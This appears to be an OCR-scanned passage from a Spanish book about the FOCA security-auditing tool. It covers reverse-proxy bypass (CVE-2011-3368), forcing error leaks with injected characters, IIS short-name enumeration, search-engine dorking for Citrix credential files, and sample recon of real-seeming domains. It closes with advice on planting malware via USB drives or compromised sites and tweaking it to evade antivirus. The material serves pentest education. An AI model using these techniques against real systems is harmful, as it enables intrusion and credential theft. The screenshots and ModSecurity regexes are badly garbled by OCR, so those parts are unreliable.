sobre una Url en la que se encuentra un repositorio de codigo Subversion, la utilidad busca la carpeta
we.db, extrae la lista de las URLs y genera los nombres de los ficheros que deben ser solicitados a la
carpeta pristine para que puedan ser descargados.

Obtener el codigo PHP de una aplicacion permite, como ya se ha comentado con anterioridad,
acceder a usuarios, comentarios, conexiones a base de datos, etcétera. Si FOCA localiza un servidor
con un fichero .sva/entries, entonces tienes trabajo por delante analizando todo el codigo fuente que
puedas, no solo las listas de ficheros que pueda extraer el plugin que veremos mas adelante.

9 HTTP:/{www.cirt. NET/svnpristine
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Busqueda de servidores Proxy

En las opciones de configuracion de FOCA también es posible seleccionar la bisqueda de servidores
Proxy en los equipos de los dominios. De esta forma, por cada servidor localizado se trata de hacer
una conexion al servidor de Google - por tener un gran uptime - a través de un servicio Proxy
supuestamente descubierto en la maquina objetivo.

Ademas de los puertos 80, 443, 8080 y 8081, FOCA también puede analizar el puerto 3128, que es
el que habitualmente utiliza el servidor Squid Proxy, y el usuario puede personalizar en la pestaiia
Proxy Search del menu opciones los puertos en los que se desea que el programa trate de encontrar
un Proxy en los servidores localizados. Hay que tener en cuenta que, una vez localizado un servicio
Proxy que permite conectarse a través de €1, un atacante podria utilizar ese servidor para navegar por
la Intranet de la empresa, lo que conlleva un auténtico problema de seguridad.

Ademas de la basqueda pro-activa de servidores Proxy, también hay que tener en cuenta que
exiten vulnerabilidades en ellos que pueden ser utilizadas aun cuando el servicio Proxy prohiba la
navegacion hacia afuera. Esto ocurre, por ejemplo, con los servidores web Apache cuando estan
configurados en modo Proxy reverso, lo que provocéd que se publicara un parche (CV-2011-3368)
que reduce el riesgo de configuraciones explotables.

El motivo de este hug es que cuando un servidor de cara a Internet en la misma direccién /P con
un servicio de Reverse Proxy vulnerable, la regla que venia por defecto para la publicacion de
servidores externos a través de un servicio de mod_proxy es tal que:

- RewriteRule "(.*) HTTP://internalserver:8081 [P]

Aparentemente es una regla normal en la que se estd reescribiendo una peticion HTTP a la IP externa
o al hostname externo a una peticion al servidor interno publicado, en este caso internalserver.
Aungque la configuracion pueda parecer correcta, la Vulnerabilidad radica en que el estindar de
URLs permite escribir una peticion HTTP con un usuario, password, hostname, puerto y path, tal y
como se ve en la imagen 04.24:

pttpl:H:._.tsernama:pasaward@bost‘co@:$08qfi,_ndax.php,?l;_ype=test&id=4,{_bottom_

il Al ey e e e e

scheme authentication domain  port path porameter fragment
details

Imagen 04.24: Peticion HTTP con usuario, password y hostname.

Por tanto, al atacante le bastaria con enviar al hostname de la web una ruta que empezara por @ y
que tuviera la ruta interna del servidor, es decir, algo como @otro_servidor interno:80/ruta. De esta
forma, internalserver:80 se convertirian en el usuario y password de una ruta que quedaria como:

- HTTP:V/internalserver:80(@otro_servidor internto:80/ruta

De esta forma se permitiria el acceso a los servidores internos que no pidan usuario y password. La
solucion en el parche ha sido tan sencilla como afiadir un slash a la regla de rewrite:

- RewriteRule (.*) HTTP://internalserver:80/81 [P]
EEN
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Data Leaks: Fugas de informacion

Una de las funciones que mejores resultados da en las auditorias de seguridad que se realizan con
FOCA es lade analizar el codigo fuente de las paginas solicitadas buscando las expresiones regulares
del fichero de reglas anti-fuga de informacion del modulo de Mod Security. Ese fichero de reglas
dedicadas a filtrar /eaks se le conoce como modsecurity crs_50 outhbound.conf, y si se analiza se
puede ver que son expresiones regulares en busca de patrones que tienen que ver con expresiones
SQL, cédigos scripts, y similares.

€ > ¢ O

httpd/medules/modsecurity-apache_2.1.4/ modsecurity_crs_50 outbound 1§ | W

SecRule RESPONSE BODY "\b(?:(?:s(?:elect list because it is not contained in (?:an aggregate
function and there is nojeither an aggregate function or the) GROUP BY clauseupplied argument is
not & valid {(?:(?2:M(?:5 |y)|Postgre)SQLIO(?:Tacle|DBC)))|S({?:yntax error converting the \w+ value
.*? to a column of data cypelQL Server does mot exist or access denied) |Either BOF or EOF is True,
or the current record has been deleted(?:; the cperation|\. Requested)}|The column prefix .{0,50}7
does not match with a table name cor alias name used in the guery|Could not find server '‘\w+' in
ayaservers). execute sg_aﬂdllnkedaerver]\bi (?: {?:Microsoft OLE DB Provider for .{0,30} [eE]rra|Y¥You !‘ -
have an error in your SQL syntax nea)r |error "E00a0lb8)'|Un(?:closed guotaticn mark before the | 8
character string\bjable to connect to PostgreSQL server:) | (?:Warning: mysqgl_connecth (\) | PostgreSQL
query failed):|cannct take a ‘w+ data type as an argument).|incorrect =yntax near
(2:\' |the\b|#@error\b) |microsoft jer database engine error 'S|(7?:\[Microsoft\]\[ODBC|ORA-\d{5}:) }" :
A\ &
"crl:audicLogParts=+E, deny, log,auditlog, stactus: 500, mag: '5QL Information
Leakage',id:'970003', severity:'4'"

SecRule RESPONSE BODY " (2:\b(?:A(?:DODB\.Command\b.{0,3100}?\b(2:Application uses a value of the
wrong type for the current cperation\blerror')| trappable error occurred in an external objectl. The
=cript cannot continue running\b) |Microsoft VBScript (?:compilation (7:) (Dx8|error) |runcime

{2:Error|\ (0x8) ) \bjObject required: '|error '800) |<b>Version Information:<\/b>(?:&nbap;|\s}
{?:Microsoft \.NET Framework]ASP\.NET) Verasion:|{?:\/[Ee]rror[Mm]essage’.aspx?\?[Ee]rror|>error
'RSPI\D)T \

"etl:anditLogParta=+E,deny, log, auditlog, atatus: 500, msg: 'I15 Information
Leakage',id:'970004',severity:'4"'"
SecRule RESPCNSE BODY "\bServer Error in.{0,50}?\baApplication\b"™ %\

"chain, ctl:auditLogParts=+E,deny, log, auditlog, status: 500, meg: ' 115 Information
Leakage®, id:"970904', severity:'4'"
SecRule RESPONSE STATUS micg045"

SecRule RESPONSE BODY "\ban error was encountered while publishing this resgurce\b"™ \
"otlrauditLogParts=+4E,deny, log, auditlog, status: 500, meg: 'Zope Information
P e I TR Nt il e A Sfoeatanm = RS : &

Imagen 04.25: Leaks de informacion.,

Mod Security es un modulo muy utilizado en Internet para la fortificacion de servidores web Apache
o de servidores Reverse Proxy que publican servicios web en Internet. Entre las muchas protecciones
que ofrece esta la de detener el envio de paginas de respuesta a clientes cuando esa pagina tiene un
leak de informacion. De tal manera que si aparece algun /eak procedente con mensajes de error de
MySQL, Oracle, Java, etcétera la regla lo detecta y lo bloquea.

En el caso de FOCA lo que se hace con ese conjunto de reglas anti-leak es justo lo contrario para
lo que se cred. Es decir, todas las paginas web que se obtienen a partir de todas las peticiones que
FOCA va realizando para todas y cada una de las acciones que realiza en las fases de Network
Discovery, Fingerprinting o Andlisis de Vulnerabilidades, pasan a ser filtradas una a una por ese
conjunto de expresiones regulares que se han incorporado dentro de FOCA, para detectar justo en
qué lugar hay una pagina de respuesta que ha mostrado informacion sensible de seguridad.

Estas paginas son clasificadas en el arbol de vulnerabilidades, junto con la regla que disparé dicha
catalogacion y la Ur/ de peticion que se hizo para obtener esa respuesta, para poder comprobarlo.
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Imagen 04.26: Data Leaks localizados por FOCA

En la Imagen anterior se puede ver como FOCA muestra la informacion de los leaks que han ido
apareciendo. Por defecto, hasta la incorporacion de este modulo FOCA4 solo buscaba en las peticiones
naturales sin realizar ningiin esfuerzo extra en la generacion de fugas de informacion por medio de
mensajes de error, pero eso cambio en las tltimas versiones.

Generacion de Errores y Data Leaks en las URLs parametrizadas

Dentro de las opciones de configuracion de FOCA, hay un mddulo llamado “Common Errores
Enforcement”, que viene a significar que FOCA intentara provocar mensajes de error en URLs con
pardmetros inyectando diferentes valores. Para ello, asociado a cada servidor web hay un apartado
donde aparece la lista de URLs que tienen parametros, y por lo tanto que pueden ser manipulados
de alguna manera.

[Techmology recogrition | Crawing | Bxgloting | Fles | Log | "

Diormsin: verrw irfomusiicets, com

Fles {193found) | Folders {44found) |  Documenispubished (855found) | Backups (0found) | [ Parametrized (18 found)
Directory Listing enabled (0 found) [PASIVE] | Methads on foiders (0 found) [PASIVE] | .Tadi.aﬂl«fﬁ.lﬂ] ech. aspx
&um . =
Hitps / www informaticabid com/Noticias a5t Ad=6 '

it/ Avevew irformatica64 com/ DetalleVhol aspx id-090010774

it/ ervew ir ol aspocAd=160010769

hitp:/ Awwew irformaticatd hacking/pista. aspx Ad_pista=2

hitp:/Fevew infs icabd aspx Iciudad =madsid

hitp./Awvew informaticat4 com Abros aspx Ad=TMG

Fetps /A materias asp gnpo=03 Officed 3
it/ Aveww informaticaB4 com,DownloadFoca/defaul aspxPcuenta=F 8d=S(Gh 2W TF2K292 7215 1Fiak SaMG B YWREUWZwbid2 YVUYTL. |
Hitps -/ Awarw irfommaticaBd com/Web R el W« WUCVP SmBVd 1 Bve 1 KTim3WheRbWfgo MIZ9 Wact 450D NpeEB7DX_MCRFzayaS3G |

=/ defauk asp -

Imagen 04.27: Lista de URLs parametrizadas localizada en un servidor web
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Actualmente FOCA no hace busqueda de parametros en {URLs que han sido filtradas con sistemas
tipo URLRewrite por lo que quedarian fuera de esas pruebas. A cada una de las URLs parametrizadas
que FOCA descubre, se pueden hacer dos tipos de comprobaciones, como se puede ver en las
opciones de configuracion.

Check for Type Conversion attacks in each parametenzed URL

H Try special characters in each parameterized URL

T R R R

Imagen 04.28: Opciones de forzado de errores

El primero de ellos es un escaneo de errores de conversion en las Ur/ parametrizadas, muy comun en
aplicaciones PHP. La idea es localizar envios de parametros numéricos en aplicaciones PHP, como
por ejemplo  URLs como HTTP://www.testserver.com/dca. PHP?var=1y forzar una conversion de
tipos implicita en la llamada, haciendo algo como HTTP.://www.testserver.com/dca. PHP?var[]=1

Esta sintaxis, utilizando los corchetes, forzara al motor PHP a convertir el tipo de datos del parametro
en una estructura de tipo array. Si el parametro display_errors en el fichero de configuracion PHP.
ini esta activo, el servidor web mostrara un mensaje de error como el siguiente, generando un data
leak que FOCA reconocera:

- Unsupported operand types in C:\server\hidocs\dca\dca. PHP on line 2

El segundo de ellos genera una serie de peticiones cambiando los valores en todos y cada uno de los
parametros descubiertos en las Url parametrizadas, asi realizara:

- Una peticidn con el parametro vacio

- Una peticion con una comilla simple

- Una peticién con comilla doble

- Una peticion con un numero muy grande para generar un fallo de desbordamiento de tipos
- Una peticion con una cadena con saltos de linea y caracteres nulos %0d%0a%00

- Una peticion con un string en los valores numéricos del tipo FOC4F0C4

- Por Gltimo una peticion con; y otra con ALT+126

Con este forzado de errores activo, las posibilidades de que el sitio web muestre data leaks aumentan.
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IIS Url Short name

Para todos los servidores Infernet Information Services descubiertos en el dominio analizado, FOCA
comprueba la caracteristica IIS Short Name, que permite realizar un descubrimiento de ficheros
en un servidor web por medio del sistema de nombres acortados que aun incorpora el sistema de
ficheros en Microsoft Windows.

La herencia de los 8:3 caracteres en el nombre de los ficheros en un sistema Microsoft Windows,
hace que aun sea posible poder acceder a un fichero utilizando ambos métodos, es decir, el del
nombre acortado y el del nombre extendido. Aunque esta caracteristica estd disponible en Windows,
en /IS no es posible, asi, tanto si el fichero se encuentra como si no, se generara un error.

El servidor /1S, cuando se solicita un nombre acortado, va a intentar acceder al mismo, y si lo
encuentra, dara un error 404, algo que no deberia ocurrir. El caso es que cuando el fichero si esta, se
continta ejecutando el procesamiento de la Url, y si se construye una Ur/ con ingenio, un atacante
podria conseguir un error de Bad Request.

Jugando con los errores 404 y los errores Bad Request, es posible implementar un ataque a ciegas
para descubrir el nombre de los ficheros alojados en el servidor. Esto se puede hacer solo en algunas
versiones de /IS y .NET en las que no se ha filtrado el caracter * y en las que los errores 400 de Bad
Request y 404 de Not Found son distintos.

Si el sitio es vulnerable se puede proceder a realizar la booleanizacion haciendo uso del simbolo
de acortamiento en ¢l nombre ~1, el caracter comodin *, y tomando el error 404 como un True y el
Bad Request como un False. La siguiente tabla recoge las pruebas a realizar, y los resultados que se
obtienen cuando el nombre del fichero existe (valid) o no existe (invalid):

11S Version Resuit/Error Message
"SE - {00 v, S,

lis6
1S 5.x

IS 5.x

IS 7.x .Net.2
No Error Handling e

IS 7.x Net.2 [invalid*~1%/ Page contains:
No Error Handling “Error Code Ox80070002"

Imagen 04.29: Pruebas para reconocer True y False en servidores /1S,

Con esta técnica solo se pueden descubrir los 6 primeros caracteres del nombre, ya que los ultimos
2 serdn ~/ o ~2, y luego la extension sera de 3 letras. Llegado a este punto, un atacante tendria que
tratar de inferir los ultimos caracteres del nombre y la extension.

Para automatizar este escaneo se han desarrollado dos plugins para FOCA, 11§ Shortname Extractor
y NTFS Based Server Enumerator, que son descritos en el proximo capitulo.
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Directorios de usuarios

FOCA también es capaz de localizar directorios que probablemente provengan de usuarios del
sistema operativo que han obtenido espacio de publicacion en los servidores web Apache del sistema
por la instalacion del madulo mod _user dir.

Este modulo permite generar una carpeta en el servicio web para cada usuario, colgando de una Ur/
que se indica con el caracter filde o virgulilla seguido del nombre del usuario. Es decir, algo como
~usuario.

ERERE l
4B PHP Code Execution (CVE-2012-Z. || | Aftrbute Value 2
<@ Insecure Methods il P-Source :
| Juicy files ! :
Multiple choices 212128129119 web.usales]  IP range
sau Domains in IP - Source -
S"“ web usal es Plugins ;
""" % ﬁ personales usal.es Plugins > DNS resolution [212.128.129.11.. &
| :
-2 Users adela web usal es (http://web usal es/~adela :
1212 128 129,115 fweb sdl o 5 anton web usal es fhttp://web usal es/~anton
b (3 ZoneTransfer 4F | bel web usal es (itp://web usal es/bel e
" Metadata vl

Imagen 04.30: Directorios de usuarios descubiertos en un servidor web.

Cuando FOCA detecta una Url en la que aparece una estructura como la descrita, entonces lo indica
en el arbol de vulnerabilidades para que el auditor pueda profundizar en el analisis de este servidor
web por medio de otras estrategias.

Por ejemplo, creando un archivo con la lista de usuarios que han sido obtenidos de los meradatos
de los ficheros publicados en el dominio objetivo, se podria utilizar crear un diccionario de nombres
que pudiera ser utilizado como base para hacer fuzzing en el servidor web, utilizando el plugin
web Fuzzer descrito en el proximo capitulo, donde se ha detectado la Vulnerabilidad, tratando de
encontrar todos los directorios de todos los usuarios.

Por supuesto, un mal uso de las carpetas compartidas via web por parte de los usuarios podria
significar también que se descubrieran archivos y/o documentos propios de los directorios personales
con los que el usuario trabaja en su maquina.

Hay que tener en cuenta que esta Vulnerabilidad solo aparecera cuando se descubra alguna Ur/
con este formato, pero puede ser que el servidor tenga el modulo mod user dir y FOCA no haya
detectado usuarios. Es conveniente revisar el software que de un determinado servidor web FOCA
ha sido capaz de descubrir, revisando con calma el banner obtenido via Shodan. o via las pruebas
de fingerprinting. En algunos servidores aparecera indicado en el banner el médulo mod users_dir.
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2.El algoritmo paso a paso

Teniendo en cuenta todos los aspectos de FOCA que se han estudiado en los capitulos dedicados al
analisis de los metadatos en los documentos publicos, los procesos de descubrimiento de la red del
dominio objetivo y las técnicas de localizacion de las vulnerabilidades descritas durante el presente
capitulo, es posible tener una vision global del algoritmo que el programa lleva a cabo de forma
automatica para descubrir equipos clientes y servidores, dominios y subdominios, roles de los
servidores, directorios, usuarios y todo el resto de informacion de un dominio objetivo.

Para hacer un resumen mas o menos completo de todo lo visto hasta el momento en todos los
capitulos que llevamos, supongamos que FOCA ha descubierto un documento de Microsoft Word
publicado en la siguiente ruta:

- HTTP://Applel.sub.domain.com/~chema/dir/fil. doc.

En las primeras versiones de FOCA el documento se descargaba y se analizaban los metadatos,
pero ahora el descubrimiento del documento con un proyecto de FOCA abierto, genera una buena
cantidad de tareas mucho antes de que se proceda a descargar el documento, ya que hay una gran
cantidad de informacion que es posible obtener con analisis detallados, simplemente teniendo esa

Url.
1. En primer lugar, ya que la Url comienza con HTTP, es evidente que el servidor ofrece el
servicio web, por lo que se aiade este rol al equipo.
2. A continuacion FOCA solicita el hanner y se extrae toda la informacion del servidor.
3. Ademas, se extrae el dominio principal y se afiade a la lista de dominios.
4. A continuacion se buscan registros bien conocidos para este dominio.
5. Sub.domain.com es un subdominio, por lo que se afiade a la lista de dominios.
6. Y se realizan también consultas DNS para los registros well known.
7

Ahora, para todos los servidores que no se encontraban localizados en ningin dominio, se
tratan de resolver sus nombres en los nuevos dominios localizados.

8. Se obtiene Applel.subdomain.domain.com como nuevo nombre de equipo.

9. De forma manual se puede aplicar DNS prediction con Applel para cada dominio, probando
Apple2, Apple3... etc.

10. A continuacion se resuelve la direccion /P del equipo.
11. Se obtiene el certificado digital de la conexion HTTPS.
12. Y se buscan nuevos dominios incluidos en el certificado.

13. Se obtiene el hanner del servidor usando la /P, en lugar del nombre de dominio.
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14. Entonces se usa Bing IP, para tratar de localizar otros dominios alojados en esa misma
direccion 7P,

15. Se repite el algoritmo para cada nuevo dominio

16. FOCA se conecta entonces a los servidores de nombres internos disponibles.

17. Se realiza un scanner PTR para tratar de encontrar maquinas de la red interna,

18. Para cada direccion /P que se localice, se aplica de nuevo Bing IP.

19. Ademas, se trataré de extraer de la Ur/ nombres de usuario, como Chema en nuestro ejemplo.

20. Seextraen los nombres de directorios de la Url. En este caso serian los directorios /. /~chema/
v /~chema/dir/

21. Se intenta realizar directory listing en cada directorio encontrado.

22. En cada ruta, se prueban métodos HTTP inseguros (PUT, DELETE, TRACE...).
23. Se trata de identificar el software a través de los mensajes de error 404.

24. Y a través de los mensajes de error de las frameworks tipo JSP o ASP.

25. Se lleva a cabo una blsqueda por diccionario probando nombres de equipos y servidores
comunes contra los servidores DNS disponibles.

26. Se intenta obtener una transferencia de zona para obtener todos los registros del mapa del
dominio objetivo.

27. Se buscan nuevas URLs Indexadas en buscadores que estén relacionadas con el nombre de
equipo

28. Después se descarga el fichero.

29. Se extraen sus metadatos, la informacion oculta y los datos perdidos

30. Se ordena la informacién y se presenta de forma sencilla y clara.

31. Y, finalmente, por cada direccion /P o por cada Ur/ que se haya encontrado se repite de
nuevo el algoritmo.

Todo este proceso es un cambio de funcionamiento totalmente distinto a como funcionaban las
primeras versiones de FOCA, donde todo era mucho mas manual. Aun asi, muchas de las funciones
que se han descrito en todas las fases del proyecto pueden seguir haciéndose de manera manual, con
lo que siempre se puede volver a generar mucho mas conocimiento del que a priori FOCA ha sido
capaz de obtener.

Ademas, la activacion de las URLs generara también la busqueda de vulnerabilidades, asi por
gjemplo serd distinto el proceso que se realizara cuando se detecte un servidor como intercambiador
de correo porque aparecia su direccion /P en un registro MX o en un registro SPF, que cuando el
servidor haya sido marcado como servidor DNS.
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3.Un ejemplo con FOCA

Para mostrar la potencia de FOCA respecto al descubrimiento automatico de vulnerabilidades en los
servidores localizados de un proyecto se van a mostrar los resultados de analizar el dominio de una
gran universidad americana que se ha volcado en abrir sus clases a través de la web y que permite
a usuarios de todo el mundo matricularse en gran cantidad de cursos a través de su plataforma
MOOC (Massive Online Open Courses) y que supondremos que nos ha contratado para realizar una
auditoria de seguridad de su red. En este analisis, de nuevo cancelamos todas las opciones intrusivas,
y por lo tanto se desactiva la transferencia de zonas DNSy el forzado de errores para provocar fugas
de informacion.

Para las primeras fases de la auditoria se podria utilizar F'OCA, ya que, como se ha mostrado a lo
largo de los tltimos tres capitulos, esta herramienta puede automatizar gran parte del trabajo inicial
y ayudara a los pentesters a dirigir el resto de la auditoria.
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. Audmeristrator
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SAI3%

gg&?

rORNL 1008 1Y
HEdii
g’ :

%

PC_Andret Tokmakoft
FC_Andrew Proud

PC_frne Graham
PC_asibu

@ PC_ASD

&8 PC_Aude Dliva
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Imagen 04.31: Dominios, servidores y maquinas clientes.

En este proceso se han utilizado todas las funcionalidades de analisis de metadatos estudiadas en el
segundo capitulo para localizar y descargar todos los documentos publicados en la web y proceder a
analizar sus metadatos, datos perdidos e informacion oculta.
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También se ha procedido con el uso de las opciones de descubrimiento de la red descritas en el tercer
capitulo, como las relacionadas con las consultas DNS, busquedas con diccionario, transferencias de
zona, uso de Bing IP y la consulta a Robtex y Shodan; y haciendo también uso de las funcionalidades
descritas en este cuarto capitulo relacionadas con la busqueda de vulnerabilidades en los servidores
localizados, seria posible recolectar una gran cantidad de informacion que resultaria de gran ayuda
para plantear el resto de la auditoria.

Tal y como puede verse en la figura 04.31, FOCA ha sido capaz de localizar cientos de dominios,
servidores y maquinas de clientes del dominio estudiado, permitiendo a los auditores realizar un
mapa muy completo de la red de la Universidad y elaborar una lista con un gran niumero de posibles
objetivos y con cantidad de informacion sobre cada uno de ellos.

Pero, tal y como se ha estudiado en este capitulo, FOCA no soélo consigue informacion sobre los
servicios y versiones de software instaladas en los servidores, sino que trata de valorar si cada equipo
localizado presenta alguna de las vulnerabilidades que el programa es capaz de descubrir.

Asi, en el caso de la Universidad americana analizada, se pude observar en la imagen 04.32 como
FOCA ha descubierto una gran cantidad de vulnerabilidades en sus servidores, como listados de
directorios, ficheros DS Store, métodos inseguros, /IS Short Name, Multiple choices, ficheros .Svn
entries, servidores con leaks de informacion y con directorios de usuarios y una enorme lista de
equipos en los que se han localizado ficheros jugosos que podréan ser estudiados por los auditores
en detalle.

=

Imagen 04.32: Vulnerabilidades.
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Toda esta informacion resultard muy valiosa para que un pentester pueda dirigir el resto del proceso
¥, por ejemplo. haciendo uso de los plugins de FOCA y de los trucos que se presentan en ¢l préoximo
capitulo, podrian explotarse algunas de estas vulnerabilidades para obtener gran cantidad de
informacion sobre la estructura interna de los servidores vulnerables.

Por otra parte, los auditores también podrian hacer uso de la informacién obtenida por FOCA
mediante el anélisis de los metadatos de los ficheros publicados en los servidores, de la que se
muestra un pequefio ejemplo en la imagen 04.33.

Users Users
cao| Administater
hooman N Dulac
anantha Angela J Yu
tslee
ralucap Fisin
kepner C:\Program% 20Files'\Microsoft X200 fice\ Templates',
vatipey C:ADocumenta %20 snd206 sllings\A dminist ater\ My 20D ocuments\,
hidess C:\Documents % 20and%205 ettings\Administ atos\dppiication 5200 134
ewhiting C:A\Documents and Setbings\Administrator\My Documents
taslebi C:\Documents and Settings\Administratod\Appication Data\Miciosafts, |
yalesong C:ADocuments and Settings\Administrator\Desktop
gan CAWINNT \Profies\Admirastrator\Desklop\Gadh,
opus
mins) Software
modiano Mictosclt Office 2000
tokmakal Mictoscdt Office
nS Adobe Photoshop CS
NaZ3rh Adobe Photoshep 7.0
18.338 Mictasolt OHiice 2007

Imagen 04.33: Usuarios, emails, software y directorios.

De cada uno de los servidores y equipos clientes localizados, FOCA informa sobre los usuarios
validos en el equipo, rutas y directorios compartidos, sistema operativo, soffware instalado, etcétera,
Ademas, entre otros muchos datos, FOCA provee a los auditores de una lista de correos electrénicos
localizados en los documentos.

Utilizando toda esta informacion, como parte de la auditoria el Ppentester podria preparar un ataque
dirigido, tal y como se mostré en la tltima seccion del capitulo de analisis de metadatos, eligiendo
un usuario con permisos de escritura en un determinado servidor con varias carpetas compartidas a
las que accedan otros usuarios, de manera que sea sencillo instalar un malware sin llamar demasiado
la atencion. Si se dispone del nombre completo del usuario, su localizacion en Internet a través de
redes sociales como LinkedIN resultaria més sencilla atn, de forma que pudiera entregarsele un
pendrive con el malware con el objeto de que lo conecte al equipo seleccionado como punto de
entrada en el sistema analizado.



Capitulo 1V. Busqueda de Vulnerabilidades 173

0, incluso, al estilo de los ataques APT (Advanced Persistent Threat), un atacante podria vulnerar
servidores legitimos que se supone que el usuario puede visitar (tras realizar un estudio de su perfil
publico en internet) para distribuir el malware elegido.

Si ademads se conoce el software antivirus utilizado (mediante las técnicas descritas de DNS Cache
Snooping, por ejemplo), el malware podria modificarse de manera que fuera an mas complicada
su deteccion. Es decir, una vez que se tiene la informacion, el resto del ataque es cosa del pentester.
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Capitulo V
Plugins, informes y otros trucos

A lo largo de este capitulo se van a realizar ciertas puntualizaciones o aclaraciones respecto al
funcionamiento de FOCA y se mostraran algunas opciones de configuracion que no estin
directamente relacionadas con el andlisis de metadatos, el descubrimiento de la red o la localizacion
de vulnerabilidades, pero que un usuario avanzado de FOCA debe conocer para sacar el maximo
partido a la aplicacion.

A continuacion se presentaran una serie de situaciones que pueden darse durante una auditoria de
seguridad en las que FOCA, en colaboracion con otras aplicaciones como Burp Suite, las técnicas
de Evil Grade o el uso de Metasploit., puede resultar una herramienta fundamental para el éxito de
las pruebas.

Se estudiaran posteriormente los diferentes p/ugins que han sido desarrollados hasta el momento para
FOCA y se vera el API de conexion para poder crear plugins propios que extiendan la funcionalidad
de la herramienta. Hasta el momento, los plugins que vienen desarrollados permiten aprovechar
diferentes vulnerabilidades descubiertas en los servidores del dominio auditado con FOCA, con el
objetivo de averiguar ain mas sobre la estructura interna del servidor, buscar archivos que puedan
ser jugosos para una auditoria y obtener toda la informacion posible que, en ultima instancia, pueda
permitir una escalada de privilegios.

Por el momento FOCA viene con una herramienta para explotar DNS Cache Snooping, con un
plugin para hacer web fuzzering, con una pequeia tool para explotar una Vulnerabilidad de SOL
injection, con un analizador/Extractor de informacion para los repositorios Subversion y el fichero
.Svn/entries y con un plugin para sacar partido del bug de /IS Short Name en los servidores de
Microsoft Internet Information Services que presenten esta Vulnerabilidad.

FOCA también tiene una pequefia herramienta de generacion de informes, cuyo uso sera mostrado
a continuacién. Esta herramienta permite presentar de forma clara y sencilla los resultados que se
extraen de los proyectos realizados, incluyendo la posibilidad de editar los informes para adaptarlos
a la politica corporativa.

Finalmente se presentara la herramienta FOCA Online que puede venir bien en determinadas
ocasiones. Es una aplicacién web muy sencilla que permite realizar el analisis de los metadatos
contenidos en ciertos tipos de documentos ofimaticos e imagenes de forma facil y rapida a través de
una pagina web. Asi, cuando no se tenga a mano la herramienta completa de FOCA se puede hacer
uso de la version online.
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1. Funciones avanzadas de FOCA

En FOCA existen funciones dtiles que pueden utilizarse durante el proceso de auditoria. Estas
utilidades permitiran sacar mas provecho de la herramienta y conseguir mejores resultados tanto en
rendimiento como en datos obtenidos. Aqui va una lista de las principales caracteristicas.

Como ha localizado FOCA la informacién

En todo momento FOCA informa al usuario de como se ha localizado cada dato. Por ejemplo, en la
imagen 05.01 es posible comprobar ¢c6mo se han encontrado diferentes servidores para el dominio
Apple.com accediendo a los detalles de cada equipo:

- Unos se han encontrado tras realizar consultas a los servidores DNS
- Otros se han inferido tras localizar un documento en un motor de busqueda
- Ofros se han obtenido con informacién de Robtex o Shodan.

- Varios servidores se han localizado tras realizar una consulta en Bing IP

- Yalgunos han sido descubiertos tras analizar el certificado digital de una conexion HTTPS

Domain - Source S, s 25 i T e e i
21 1p( Tww-weidecar.apple com > Bing IP Search fweidecarapple.com] > DNS resolution {17,172 22415} > DNS reverse reschutian fst 1 1p0hwmw-.

Softy Doma”"su‘ur(! S P S bt e — S — N
Apache/24 L7 appte com WebSearch > DNS resolution [17.112:5.19] > DNS reverse resoksion bibz07.apple com]
Badtm| oo P e e et S S e
17172224 17 112.5.18 rowkc-wwwe 3pple com Shodan Hostname frwk-www apple com]
Server Rol Softwase o e Tt SR T S e T
17.1125.19 |Apache| Domain - Source :
Aoache] Www apple com Certficate FingerPrirting
iP Add Software
17.145 { Apache 2 2 3 Dracle) wrw apple com FingerPrinting Banner: Apsche/2 2.3 Oracle)
Apache/2.211 (Unix) 17.143.160.10 Shodan Banner: Apache/2 2 11 (Urid)
IP Addresses - Scurce - - e -
22020515 Cedtficate FingerPinting > DNS resalution [2 20,205,15]
17145 160.10 > Big IP Search [17. 149 160,10) > DNS resolution [17.149.160.10]

Imagen 05.01: Servidores del dominio Apple.com localizados por diferentes métodos.

Como se puede ver, el algoritmo recursivo de FOCA permite que la misma informacion sea
encontrada de forma distinta. Incluso dos procesos de pentesting sobre el mismo dominio realizados
con FOCA, cambiaran en los resultados dependiendo de cudl sea el orden en que la herramienta
encuentre las URLs, los servidores, etcétera.

No es descabellado realizar varios andlisis sobre el mismo dominio con FOCA para encontrar
informacion diferente.
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Bisqueda personalizada

Por defecto, FOCA busca ficheros indexados en los buscadores de Internet que se hayan
seleccionado en el panel de Metadata que tengan que ver tinica y exclusivamente con direcciones
URL pertenecientes al dominio principal del proyecto y sin poner ninguna otra restriccion adicional
que el tipo de ficheros que el usuario ha seleccionado en el panel del tipo de archivos, algo que
implicara en la extension y el filetype de los ficheros buscados.

En el caso de querer personalizar la busqueda de documentos afiadiendo mas filtros para poder
restringir o expandir los resultados - seglin sea la necesidad en cada caso -, es posible entonces
cambiar los pardmetros de la cadena de busqueda que se va a enviar a los motores de biisqueda.

Para ello es suficiente con apretar sobre la opcion Custom Search y FOCA desplegara un cuadro
de texto donde se podra cambiar la configuracion de busqueda para adaptarla a las necesidades del
auditor. Hay que tener en cuenta que esas cadenas de busqueda personalizadas no tienen por qué
funcionar igual en todos los motores de busqueda.

‘site-educacion juntadeandalucia es fietype:doc OR fietype ppt OR filetype pps OR filstype xis OR filetype:docx OR filetype ppbx

Imagen 05.02: Blsqueda personalizada.

Esta opcion es muy til cuando se quiere seleccionar muy bien el objetivo. Hay que tener presente
que el modulo de busqueda de documentos es también un modulo de bisqueda de URLs, asi que si
se encuentra cualquier Urf a través de él - incluso aunque no sea de ninglin documento ofimatico
- esa Url pasara a ser analizada dentro de todo el proceso de descubrimiento de red y bisqueda de
vulnerabilidades.

Si se quiere encontrar URLs que tengan fugas de informacion, a lo mejor es interesante seleccionar
URLs con ficheros PHP que tenga unos determinados pardmetros, Basta con hacer uso de esta
opcion de Custom Search y aplicar todos los conocimientos de Google Hacking o Bing Hacking que
se tengan para lograr ese objetivo.

Ademads, esto puede usarse también incluso sin que se haya creado un proyecto asociado a un
dominio, por lo que se podrian hacer bisquedas de documentos con metadatos desde multiples
dominios, como si fuera un Google Hacking.

Por ejemplo, si se quieren encontrar ficheros de clientes Citrix con usuarios y contrasefias, basta
con seleccionar Custom Search en el panel de documentos, borrar todos los parimetros de la
busqueda y escribir ext:ica. A partir de ese momento FOCA buscara en Google todos los ficheros de
configuracion de conexiones a servidores Citrix. Una vez descargados y analizados, se podra tener
en la lista de metadatos aquellos usuarios que han aparecido en cada uno de estos ficheros. Répido
y funcional.

A pesar de que FOCA no analice todos los ficheros, esta opcion puede usarse también como gestor
de descargas, ya que tras escribir el comando de Geogle Hacking para obtener las URLs de los
objetivos, se pueden seleccionar los resultados y descargar todos los ficheros comodamente.
